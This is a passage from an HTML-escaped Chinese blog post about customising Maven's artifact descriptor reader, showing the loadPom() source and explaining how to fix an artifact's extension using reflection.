class_\"\u003eLinkedHashSet\u003c/span\u003e\u0026lt;String\u0026gt;();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e ( \u003cspan class=\"hljs-type\"\u003eArtifact\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eartifact\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e request.getArtifact();; )\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eVersionRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eversionRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eVersionRequest\u003c/span\u003e( artifact, request.getRepositories(), request.getRequestContext() );\u003cbr\u003e versionRequest.setTrace( trace );\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eVersionResult\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eversionResult\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e versionResolver.resolveVersion( session, versionRequest );\u003cbr\u003e\u003cbr\u003e artifact = artifact.setVersion( versionResult.getVersion() );\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e ( VersionResolutionException e )\u003cbr\u003e \u0026#123;\u003cbr\u003e result.addException( e );\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorException\u003c/span\u003e( result );\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ( !visited.add( artifact.getGroupId() + \u003cspan class=\"hljs-string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e + artifact.getArtifactId() + \u003cspan class=\"hljs-string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e + artifact.getBaseVersion() ) )\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRepositoryException\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eexception\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eRepositoryException\u003c/span\u003e( \u003cspan class=\"hljs-string\"\u003e\u0026quot;Artifact relocations form a cycle: \u0026quot;\u003c/span\u003e + visited );\u003cbr\u003e invalidDescriptor( session, trace, artifact, exception );\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ( ( getPolicy( session, artifact, request ) \u0026amp; ArtifactDescriptorPolicy.IGNORE_INVALID ) != \u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e )\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e result.addException( exception );\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorException\u003c/span\u003e( result );\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifact\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003epomArtifact\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e ArtifactDescriptorUtils.toPomArtifact( artifact );\u003cbr\u003e\u003cbr\u003e ArtifactResult resolveResult;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifactRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eresolveRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactRequest\u003c/span\u003e( pomArtifact, request.getRepositories(), request.getRequestContext() );\u003cbr\u003e resolveRequest.setTrace( trace );\u003cbr\u003e resolveResult = artifactResolver.resolveArtifact( session, resolveRequest );\u003cbr\u003e pomArtifact = resolveResult.getArtifact();\u003cbr\u003e result.setRepository( resolveResult.getRepository() );\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e ( ArtifactResolutionException e )\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ( e.getCause() \u003cspan class=\"hljs-keyword\"\u003einstanceof\u003c/span\u003e ArtifactNotFoundException )\u003cbr\u003e \u0026#123;\u003cbr\u003e missingDescriptor( session, trace, artifact, (Exception) e.getCause() );\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ( ( getPolicy( session, artifact, request ) \u0026amp; ArtifactDescriptorPolicy.IGNORE_MISSING ) != \u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e )\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e result.addException( e );\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorException\u003c/span\u003e( result );\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e Model model;\u003cspan class=\"hljs-comment\"\u003e// Model为POM文件对应的模型类\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eModelBuildingRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003emodelRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultModelBuildingRequest\u003c/span\u003e();\u003cbr\u003e modelRequest.setValidationLevel( ModelBuildingRequest.VALIDATION_LEVEL_MINIMAL );\u003cbr\u003e modelRequest.setProcessPlugins( \u003cspan class=\"hljs-literal\"\u003efalse\u003c/span\u003e );\u003cbr\u003e modelRequest.setTwoPhaseBuilding( \u003cspan class=\"hljs-literal\"\u003efalse\u003c/span\u003e );\u003cbr\u003e modelRequest.setSystemProperties( toProperties( session.getUserProperties(),\u003cbr\u003e session.getSystemProperties() ) );\u003cbr\u003e modelRequest.setModelCache( DefaultModelCache.newInstance( session ) );\u003cbr\u003e modelRequest.setModelResolver( \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultModelResolver\u003c/span\u003e( session, trace.newChild( modelRequest ),\u003cbr\u003e request.getRequestContext(), artifactResolver,\u003cbr\u003e remoteRepositoryManager,\u003cbr\u003e request.getRepositories() ) );\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ( resolveResult.getRepository() \u003cspan class=\"hljs-keyword\"\u003einstanceof\u003c/span\u003e WorkspaceRepository )\u003cbr\u003e \u0026#123;\u003cbr\u003e modelRequest.setPomFile( pomArtifact.getFile() );\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eelse\u003c/span\u003e\u003cbr\u003e \u0026#123;\u003cbr\u003e modelRequest.setModelSource( \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eFileModelSource\u003c/span\u003e( pomArtifact.getFile() ) );\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e model = modelBuilder.build( modelRequest ).getEffectiveModel();\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e ( ModelBuildingException e )\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e ( ModelProblem problem : e.getProblems() )\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ( problem.getException() \u003cspan class=\"hljs-keyword\"\u003einstanceof\u003c/span\u003e UnresolvableModelException )\u003cbr\u003e \u0026#123;\u003cbr\u003e result.addException( problem.getException() );\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorException\u003c/span\u003e( result );\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e invalidDescriptor( session, trace, artifact, e );\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ( ( getPolicy( session, artifact, request ) \u0026amp; ArtifactDescriptorPolicy.IGNORE_INVALID ) != \u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e )\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e result.addException( e );\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorException\u003c/span\u003e( result );\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRelocation\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003erelocation\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e getRelocation( model );\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ( relocation != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e )\u003cbr\u003e \u0026#123;\u003cbr\u003e result.addRelocation( artifact );\u003cbr\u003e artifact =\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eRelocatedArtifact\u003c/span\u003e( artifact, relocation.getGroupId(), relocation.getArtifactId(),\u003cbr\u003e relocation.getVersion() );\u003cbr\u003e result.setArtifact( artifact );\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eelse\u003c/span\u003e\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e model;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e ...\u003cbr\u003e\u0026#125;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的loadPom()方法会在DefaultArtifactDescriptorReader.readArtifactDescriptor()中调用,代码中的\u003ccode\u003eorg.apache.maven.model.Model\u003c/code\u003e类是POM文件的模型类,我们可以调用Model.getPackaging()获得extension,并且loadPom()接受一个ArtifactDescriptorResult参数,我们可以通过ArtifactDescriptorResult.getArtifact()取得当前操作的Artifact以更正extension字段。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eQ:为什么我不使用setArtifact()方法来替换Artifact?\u003cbr\u003eA:因为,lazy不想再实验了,并且用反射得到的程序可以正常运行(逃)。如果感兴趣可以自己试试\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cstrong\u003e注意:代码中存在internal的类,我们不能在自己项目内直接调用,所以再加一层反射操作来替换这些操作internal的类即可。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003eCompactAARArtifactDescriptorReader代码如下(随手写的,建议用者再仔细看看,另外Reflect为团队内的反射工具,自己替换为正常的反射代码即可):\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e120\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e121\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e122\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e123\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e124\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e125\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e126\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e127\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e128\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e129\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e130\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e131\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e132\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e133\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e134\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e135\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e136\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e137\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e138\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e139\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e140\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e141\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e142\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e143\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e144\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e145\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e146\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e147\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e148\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e149\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e150\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e151\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e152\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e153\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e154\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e155\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e156\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e157\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e158\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e159\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e160\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e161\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e162\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e163\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e164\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e165\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e166\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e167\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e168\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e169\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e170\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e171\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e172\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e173\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e174\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e175\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e176\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e177\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e178\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e179\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e180\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e181\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e182\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e183\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e184\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e185\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e186\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e187\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e188\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e189\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e190\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e191\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e192\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e193\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e194\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e195\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e196\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e197\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e198\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e199\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e200\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e201\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e202\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e203\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e204\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e205\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e206\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e207\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e208\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e209\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e210\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e211\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e212\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e213\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e214\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e215\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e216\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e217\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e218\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e219\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e220\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e221\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e222\u003c/span\u003e\u003cbr\u003e\u003cspan 